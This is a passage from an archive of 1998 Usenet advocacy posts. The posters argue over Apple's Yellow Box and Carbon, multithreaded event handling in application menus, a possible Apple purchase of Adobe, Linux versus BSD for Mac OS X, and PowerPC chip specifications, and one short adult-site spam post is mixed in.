> is currently being done, and is a clean, simple, system.
It also wouldn't work in the case that we are discussing. If the application
is still processing events then the whole issue disappears. We are concerned
(I more than Maury) that an application's menu bar cannot be accessed while
it is not going through it's event loop. Your solution would require that
the application still process events in order to process the updateMenusEvt
event.
BTW, the way that you describe deciding the menu state, as the user is using
the menu bar, is a big pejorative. Most Mac OS applications, that I've seen,
work this way. All YB applications work this way unless they are doing
something funky.
--
Brian Quinlan
quinlan@intergate.bc.ca
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 03 Sep 1998 23:15:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sn7u7$nq3$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
In article <6smt8o$n2s$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Each window does get the opportunity to handle its own events as a normal
> part of the responder chain under YB. I strongly do not agree that the YB
> should force every window to have a seperate thead. YB should support that
> design if a developer wishes to do so, of course, but that's not the same
> thing.
Why not? What is the down side of having a thread for every window? The
obvious upside is a better user experience and having a single way of writing
event management code.
> If you consult the RDR2 release notes about thread support, you'll discover
> that there is a lot more support for multithreaded applications and having
> individual drawing contexts per thread under Rhapsody. While they still have
> more work to do, it's clear that they mean to provide strong Appkit support
> for the BeOS-like paradigm of "every window has a thread"....
I didn't draw the same conclusion that you did. Apple can easily make it
easier to write applications which have a thread for each window without
providing direct Appkit support. All would they have to do is deal with the
reentrancy issues and let the application do the rest of the work. I would
rather that they did add Appkit support but it doesn't seem like a given to
me. Of course, unless there is a downside that I don't see, I would rather
that the Appkit is designed to favor applications which have a thread for
each window.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Should Apple buy Adobe?
Date: 3 Sep 1998 23:36:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6sn956$kgb@news1.panix.com>
References: <01bdd765$985a37c0$06387880@chewy>
On 3 Sep 1998 18:17:39 GMT, Todd Heberlein
(todd at NetSQ dot com) <todd@dev.null> wrote:
>Since PostScript is still very important to the publishing world, Apple
>wants to stay a major player in the publishing and creative arts market,
>Apple has a lot of effort/money invested in the current MacOS X DPS
>technology, and Adobe's stock is near a four-year low,
> Should Apple consider buying Adobe?
For no other reason then to remove the DPS royalty fee? No.
To use PhotoShop and Illustrator (and k2) to add value to its OS? Yes.
Apple would do very well if it turned PhotoShop and Illustrator into
frameworks for 3rd parties to build new and interesting software for
content creation.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 98 13:15:03
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep2131503@slave.doubleu.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
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<6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
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In-reply-to: sal@panix.com's message of 2 Sep 1998 02:14:44 GMT
In article <6si9mk$sdu@news1.panix.com>,
sal@panix.com (Sal Denaro) writes:
On 28 Aug 98 13:08:19, Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <6s6hd0$30u@news1.panix.com>,
> favorable to Apple. What if GGI is added to the kernel and it
> causes problems?
>Don't upgrade the shipping kernel until the problems are fixed?
But then Apple's Linux and "Real Linux" begin to diverge. And after
a while, Apple gains little, if any benefit from the work of the
Linux camp.
I'm assuming that the problems introduced are like those that
sometimes have been introduced into the 2.0.X kernels - they're
eventually fixed. They can pick a point between the bleeding edge and
ancient history...
In any case, the same problems come up with _any_ OpenSource Unix
layer they use, even their own. They could very well put out a new
release, ship the CD's, and have someone find and fix a major bug
within the week,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 98 13:30:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep2133010@slave.doubleu.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
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<SCOTT.98Sep1100129@slave.doubleu.com> <Eynu0t.GJ9@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Wed, 2 Sep 1998 14:10:05 GMT
In article <Eynu0t.GJ9@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Sep1100129@slave.doubleu.com> Scott Hess wrote:
> Converting car-generations to computer-generations, we should
> have the computer equivalent of standard fuel injection and
> airbags in, oh, 10 years :-).
Ah, but this is interesting. Over the last two decades or so cars
have gotten a LOT safer. Yet computers crash more. This is bad.
Well, yes ... but cars have recognizably been around for more than 100
years, and the basic notion for longer. Computers as we think of them
today have been recognizable for just about 30 years (there were
computers before 1970, yes, just as their were self-propelled vehicles
before 1900. I'm talking more personal computers and personal
automobiles, though).
There was certainly a period with automobiles where the vehicle simply
couldn't travel fast enough to injure you much if it crashed.
Sometimes it didn't operate long enough to go far enough to make
crashes likely in the first place. Eventually they got powerful
enough to be quite dangerous. Eventually the art of building
automobiles was reduced to rote, and nowadays you have to do
_something_ to make people spend that kind of money on a couple
hundred dollars worth of raw materials.
Computers will get there, too. Sure, we could have stopped in the
mid-80's and concentrated entirely on robustness and utility using
then-current widespread technology. But technology that was
widespread in the mid-80's is hardly used today. There's plenty of
existing research who's depths have to be plumbed before we can even
think of tying it off and concentrating on polish. At some point
computers will become so essential that people are willing to pay for
robustness and ease of use, or they'll become so cheap that it will be
done to maintain margins.
But it will happen. We just have to give it time,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Tue, 01 Sep 1998 18:41:21 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EC8621.A28FBDDA@ericsson.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
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Maury Markowitz wrote:
> Why exactly? Because lots of people are installing it? Doesn't that make
> Win98 the obvious wave of the future?
Yes, all of the above. Win98, WinNT, Linux, all of these operating
systems -- and only these -- are gaining market share. They are all the
wave of the future. Why is Apple trying to build a competitor instead of
building on top of the competition?
> What does Linux get Apple? PR? They seem to be doing just fine in that
> egard on their own.
MacOS X doesn't have any market share yet, and there's no data one way
or the other as to whether if ever will. I would bet against a new
operating system that has zero major functional improvements over the
existing (well-established) competition.
[cut]
> > and momentum right now is growing fast.
>
> Momentum yes, but I _really_ have a hard time seeing Apple figuring out how
> w to use it.
Something is evidently wrong with your newsposter.
> Look at what the iMac is, it's a machine that's utterly a case
> of form over function, sold entirely to people that couldn't give a crap if
> what's inside is a little mouse running on a treadmill.
Well, yes.
> So what do YOU find so hard to understand about this problem? Yes, I want
> to run YB over Linux on my PC (actually, FreeBSD). Yes, such a product
> ld be a cool thing for the Linux owners (a REAL cool thing, those who use it
> won't go back [me for instance]). But clearly Apple's only concern now is
> the _Mac_ owners, and frankly using Linux does nothing for them.
This makes no sense even if you define what "Mac" in "Mac owner" means.
If it means a piece of hardware, of course Linux will run on that
hardware, which renders the point rather elusive. If it means the MacOS,
of course we are discussing Linux underlying the MacOS interface (a la
Mac OS X) that these "Mac owners" know and love, so again the point is
elusive.
> Now if Apple decided to get back into the PC OS market THEN there is an
> vious benefit for them to be based on Linux.
Then we are discussing hardware, evidently. I wonder what makes BSD more
suitable for Macintosh hardware than Linux.
> However they are actively
> ving_ that market now. That's the cutting line right there. Linux is no
> etter" than what they have now on the PPC, and the PR effect in the Mac
> et is basically nil.
For the reasons Mr. Garner listed (popularity, chiefly), Linux certainly
is "better" than what they have now on the PPC. I am quite sure that the
number of MkLinux/LinuxPPC users exceeds the number of BSD on PPC users,
and the compatibility between Linux/i386, Linux/SPARC, Linux/Alpha, and
Linux/PPC would seem to beg the question: why, indeed, isn't Apple
supporting PCs with MacOS X when Linux offers a partial solution? If
this question is even raised within the hallowed halls of One Infinite
Loop, Linux certainly is the "better" than what they have now on the
PPC.
Moreover, Linux is a brand name complete with silly T-shirts to
advertise product. BSD? Will Apple be putting little red daemons on
bumper stickers and convention buttons, or will it be starting all over
again to build brand name with MacOS X?
Of course, you've already thought of all of this. I'm just curious as to
your (well-established) reaction. [phhbbbbbtttt!]
MJP
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 3 Sep 1998 08:17:49 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6sljbd$22h$1@news.cs.tu-berlin.de>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net>
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"Dan" <dan@knowspaam.com> writes:
>I stand by what I said. If a user goes looking for documentation, containing
>a list of known bugs, then obviously they will know of some that exist...
>even if they don't experience them.
>My point was that most users can't give you a example of a single bug in
>Win95... but most users will agree that Win95 has plenty of them. It's
>called "ignorance"... "hype"... etc.
Hmm, this would probably because there is very little difference in Win 95
between normal operation and what most people would call a bug. As a
matter of fact, I personally find Win in normal use about as frustrating
as I find bugs in other software. YMMV.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: freexxx@fuse.net
Newsgroups: comp.sys.next.advocacy
Subject: 110% free XXX pics
Date: 22 Aug 98 10:33:29 GMT
Organization: Politecnico di Torino - Italia
Message-ID: <35de9e79.0@194.116.20.4>
No Credit Card needed. 100% FREE XXX site. For tons of free pics please visit us at
http://www.bearcatonline.com/adult/index6.htm
Date: Thu, 03 Sep 1998 08:27:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-0309980827350001@wil31.dol.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net>
In article <qArH1.421$XE1.327550@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
>Simon Barker wrote in message <35edc5e7.0@newsread1.dircon.co.uk>...
>
>>>I don't know anyone that knows what the difference is between Win95 and
>>>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>>>single Win95 bug... can you?
>>
>>Err yeah you do if you read the documents that were with it, there are lots
>of
>>bugs in Windows *many* people are aware of, all you need do is look at
>hotfixes
>>and sp's and program updates etc of course they're mostly fixed now but
>there
>>still are bound to be many out there not fixed.
>
>I was talking about Win95, not NT. MS is very good at letting the user know
>about the bugs that exist in NT by providing hotfixes... regardless of the
>fact that most users do not experience the bugs that these hotfixes take
>care of.
>
Is _THAT_ what the hot fixes are for?
I thought that MS had to release them every 6 months or so because the
users were getting too good at working around existing bugs and they had
to find a way to introduce new ones.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 03 Sep 1998 09:13:08 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0309980913080001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu> <H52H1.2933$MS.7279167@news.rdc1.sdca.home.com> <rmcassid-0209981600170001@hephaestus.eng.uci.edu> <E_oH1.3249$MS.7935707@news.rdc1.sdca.home.com>
In article <E_oH1.3249$MS.7935707@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-0209981600170001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
>I suggest a user revolt, letter writing campaign to encourage Adobe to
>mline their suite of apps for OS uniformity and integration. Apple really
>an do very little. They could work with Thrid Party Vendors in Publishing to
>o "integrate" apps + services. They might rework some of their architecture
> but its my understanding that Adobe is short sales. They have too many
>ducts, targeted to consumers (ie. affordable) and not enough sales. Quark
>as maintained pricing at a commercial schedule and put more focus behind
>er product.
Frankly I think users are seriously disappointed with both companies.
Adobe is clearly lost as Apple was, and Quark just seems arrogant beyond
even MS.
Apple seems to be making headway helping/pushing these guys to integrate
better - certainly 8.5 appears to be a valid attempt at providing better
services for them to draw on. We'll see if they can get some support for
them.
>> Essentially that is
>> what I'm saying, but without actually rewriting the app. As a YB app it
>> would just defer many of these services to the OS anyway, so what's the
>> issue?
>>
>The fact that none of their apps are YB and their new Pagemaker replacement
>is written to the old Mac.
For Carbon. Adobe's problem is that they already have a cross-platform
framework. YB is redundent to them. Carbon solved the problem better than
YB did.
>> Who's creating cross-platform technologies? All I'm saying is that Apple
>> should use the apps to further distinguish the difference between the
>> respective OSes. As soon as you yank out the Adobe color pickers, the
>> MacOS looks about 20x better to Photoshop users than Windows does. Place
>> the burden on MS for providing decent services to it's users.
>>
>Well now, wouldn't that be interesting. I wonder why Adobe wants "control"
>of their users environment? Why is it in Adobe's best interest to "not" have
>e their products appear to be superior on the Mac .vs. NT?
Adobe doesn't want to have to jump at every change that Apple and MS
decide to make, and the best thing for them is to create one _platform_ as
the user sees it - an Adobe platform. That's fine and a good idea for
Adobe. But I want one platform - the MacOS platform, and Adobe doesn't
really serve my needs - not that I have anywhere else to turn right now...
Adobe I'm sure would just as soon stay out of the platform wars. That's
fine. Adobe as part of Apple probably should not, however...
>> Why rewrite all of these apps if the same effect can be achieved by
>> ripping out code?
>
>It probably can in MacOS X, I'm not technically up on MacOS X to provide
>initive answers.
It think it definately can. Many of them under MacOS 8. Certainly with
Carbon under OS X it would, if Adobe want's it to.
-Bob Cassidy
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Sep 1998 01:24:50 GMT
Organization: University of California at San Diego
Message-ID: <slrn6uugb2.26p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com>
On Thu, 03 Sep 1998 15:28:02 -0500, Michael Peck wrote:
:Matt Kennel wrote:
:
:> "they say" that Apple must choose between hardware and software. Why?
:
:Because its position dictates it.
:
:> In your mind, is Sun's focus "hardware" or "software"??
:
:SMCC is a hardware platform company. SunSoft, Inc. is a software
:company.
:
:> If you were a Sun accountant I think the answer would be clear (hardware).
:
:If I were a Sun accountant I think I would know how much money Sun has
:poured into the JavaSoft division, and I think I would understand the
:importance of that investment.
In other words, Sun did not choose between hardware and software.
It makes its money selling hardware, which is made uniquely valuable by
its software.
Just like Apple.
:Apple has...what? A diminishing line of consumer machines and
:workstations running a diminishing suite of 3rd-party apps on a dated
:operating system of diminishing importance. They *also* have a new
:acquisition with the potential to drive their technology to great
:heights and a name brand that could be leveraged to build
:industry-standard products.
:
:Careful observers may note that these assets lie almost exclusively in
:the software domain. Is an answer forming in your mind?
Yes: if Apple loses price/performance in hardware it is toast, no matter
what they do for software. If Apple fails to maintain modern standards
in software, it is toast, no matter what they do for hardware, though this
would be a slightly slower death.
So, why must Apple choose between hardware and software? It seems to me
that they can't ignore either one. Just like Sun.
Notice that Sun's acquiescence of cloning doesn't extend to its high-profit
lines, and that Solaris x86 is wilting under neglect.
:> I think that attempting to adopt Microsoft's business model, now that
:> Microsoft is already there, powerful and jealous, is a monumentally
:> foolish idea.
:
:Almost certainly true, if you mean competing in the realm of consumer
:operating systems and productivity software suites. That was what you
:meant, right?
Yes. I also include trying to get PC companies to pre-load commercial
operating systems other than Windows.
As Jobs once said, if Apple tried to do that in 1989, instead of today,
things could have turned out very different. But the right answer then
is not the right answer now.
:> NeXT sort of tried; it was more important and relevant before it lost
:> hardware.
:
:No, it was more important and relevant before it lost the
:price/performance race.
:After several years of increasingly
:disappointing results (but probably not surprising) some of its
:importance and relevance was regained through vending of advanced
:software tools instead of obsolete hardware.
But almost surely these niches were on the verge of being Borged or Javaized.
:> If you go hardware only, you end up being a replacable and boring vassal
:> of Microsoft.
:
:Huh? Suppose I sell consumer stereo systems. Have I become a replacable
:and boring vassal of musicians and talk radio hosts?
No, radio is a competitive market, and everybody has access to the
basic operating system software (FM demodulation) by government regulation.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 3 Sep 98 09:36:15 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2141392-F6FC@206.165.43.98>
References: <EypqG4.4pI@T-FCN.Net>
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Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B2132A13-45BC2@206.165.43.179> "Lawson English" wrote:
>> Without the full cooperation of Metrowerks, Yellow Box had no chance
>> whatsoever because few Mac developers would leap from using
>CodeWarrior to
>> a GNU-based product.
>
> I disagree. In fact I think this is another example of the kind of
silly
>statements you make until you start using the tools. No one cares about
the
> tools Lawson, look haw fast people switched from MPW to Think to
>CodeWarrior
>r (notably the last example). If the tool works, does the job, and offers
>leat advantages, people will switch.
You mean for people other than Adobe, Microsoft, etc, right?
And the switch was NOT that fast for people with existing products. Look
how long Symantec was able to hold on in the Mac market with an inferior
product. That wouldn't have happened if everyone was able to switch as fast
as you suggest. It would get even worse when you go from C++ to Object-C
and from PowerPlant to IB without tools to facilitate the conversion.
What's the performance of the GNU Objective-C compiler vs Metrowerks? Vs
Moto? Vs MrC?
Can you compile using the GNU compiler and then recompile using MrC for
time-critical code? What's the GNU in-line assembler for PPC like?
What's the interface like for the GNU compiler?
Etc?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 3 Sep 1998 14:24:41 -0400
Organization: phenix@interpath.com
Message-ID: <1des3kr.i7p7791fpin8iN@roxboro0-006.dyn.interpath.net>
References: <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <Eyppzv.4Bs@T-FCN.Net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Maury Markowitz wrote:
> John Moreno:
> > I'm not sure why nobody has suggested it before - but actually the whole
> > thing can be faked: the system simply doesn't return clicks in the menu
> > and instead handles it totally, when a menu is selected THEN it returns
> > a mousedown
>
> But then the app doesn't get a chance to update the menu status.
Depending upon when it is updating the menu status, that's true.
Personally I update it after each command, not before. If a lot of
people are doing it the wrong way around then that is probably not the
way to go - in fact it's not the way to go in any case, adding a new
main event code or two is obviously the way to go (updateMenusEvnt if
changing the menu before selection is common, and menuSelectionEvnt).
This requires minimal rewriting, is backwords compatible with the way it
is currently being done, and is a clean, simple, system.
--
John Moreno
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Should Apple buy Adobe?
Date: 3 Sep 1998 18:17:39 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdd765$985a37c0$06387880@chewy>
Greg Anderson, a developer of word processing and desktop publishing
applications, recently expressed his disappointment over Apple's plan to
remove DPS from MacOS X next year.
Since PostScript is still very important to the publishing world, Apple
wants to stay a major player in the publishing and creative arts market,
Apple has a lot of effort/money invested in the current MacOS X DPS
technology, and Adobe's stock is near a four-year low,
Should Apple consider buying Adobe?
Todd
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Message-ID: <rbarris-ya023280000309981130300001@206.82.216.1>
References: <6shd74$fth@newsb.netnews.att.com> <1deqjrd.100e86xid9v7kN@p006.intchg2.net.ubc.ca> <6sm8jd$m00@newsb.netnews.att.com> <6sm9hg$oc3$1@hecate.umd.edu>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Thu, 03 Sep 1998 11:30:30 -0700
NNTP-Posting-Date: Thu, 03 Sep 1998 11:30:21 PDT
In article <6sm9hg$oc3$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Motorola's 366 Mhz PPC750 is still listed as 0.25um, 5 layer metal,
> 67 mm^2 processor in its datasheets. However, IBM is listing its
> PPC750 as a 0.22um, 6 layer metal, 40 mm^2 processor. Mr Barris is
> also claiming now that this is the copper process, but I haven't been
> able to independently confirm nor deny this piece of information.
No, the representative O'Leary from IBM Micro is the one claiming it. I
merely echoed what he said.
Rob
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 3 Sep 1998 21:58:54 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6snl5a$pk85@odie.mcleod.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net>
NeXT historically supported their gnu based tools. Project Builder is a
pretty good IDE. I like it better than Visual C++. Unless you are very
sophisticated, there is no reason to ever hand edit Makefile with Project
Builder. In fact the Makefiles are created read only to discourage you from
editing them.
Why discard the 25 years of experience and improvement that have gone into
make and other "command line" tools if you never see them anyway. Next you
will tell me you don't like ftp because it is a command line tool. Have you
ever used a GUI ftp application ?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Content-Type: text/plain; charset=us-ascii
Message-ID: <EypxHp.92J@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <EypqG4.4pI@T-FCN.Net> <B2141392-F6FC@206.165.43.98>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 17:20:12 GMT
In <B2141392-F6FC@206.165.43.98> "Lawson English" wrote:
> >r (notably the last example). If the tool works, does the job, and offers
> >leat advantages, people will switch.
>
> You mean for people other than Adobe, Microsoft, etc, right?
If you could compile Carbon code with it, yes.
> And the switch was NOT that fast for people with existing products. Look
> how long Symantec was able to hold on in the Mac market with an inferior
> product. That wouldn't have happened if everyone was able to switch as fast
> as you suggest. It would get even worse when you go from C++ to Object-C
> and from PowerPlant to IB without tools to facilitate the conversion.
>
> What's the performance of the GNU Objective-C compiler vs Metrowerks? Vs
> Moto? Vs MrC?
>
> Can you compile using the GNU compiler and then recompile using MrC for
> time-critical code? What's the GNU in-line assembler for PPC like?
>
> What's the interface like for the GNU compiler?
Good.
Maury
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 3 Sep 1998 23:31:47 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6snqjf$k1k1@odie.mcleod.net>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <EyqADA.654@T-FCN.Net> <6snolt$k6i1@odie.mcleod.net>
After reading my own post, I realize I may not be clear. Scrolling does not
block the main thread of your application. A lack of events while scrolling
or otherwise blocks your application.
Animation and other processing in applications is often performed in
response to timer events e.g.. calling [self
performSelector:withObject:afterDelay:] The reason animation and other
processing stops when scrolling is that the scroll bar control is stealing
the timer events along with all others.
That behavior is not necessary. I think Apple/NeXT implemented such
controls in a very poor manner. Rather than stealing all events, such
controls should let event processing occur normally and handle the
NSResponder messages such as -mouseDragged: and -mouseMoved: and -mouseUp:
that make sense to implement the controls behavior.
In no case should scrolling or menu selection or any other user action cause
an application's main thread or any other to block. In fact, they do not
block today. Applications only block because of unfulfilled IO requests or
programmatic blocking caused by suspending threads or calling sleep() of
signals. The appearance of discontinued activity during scroll is a side
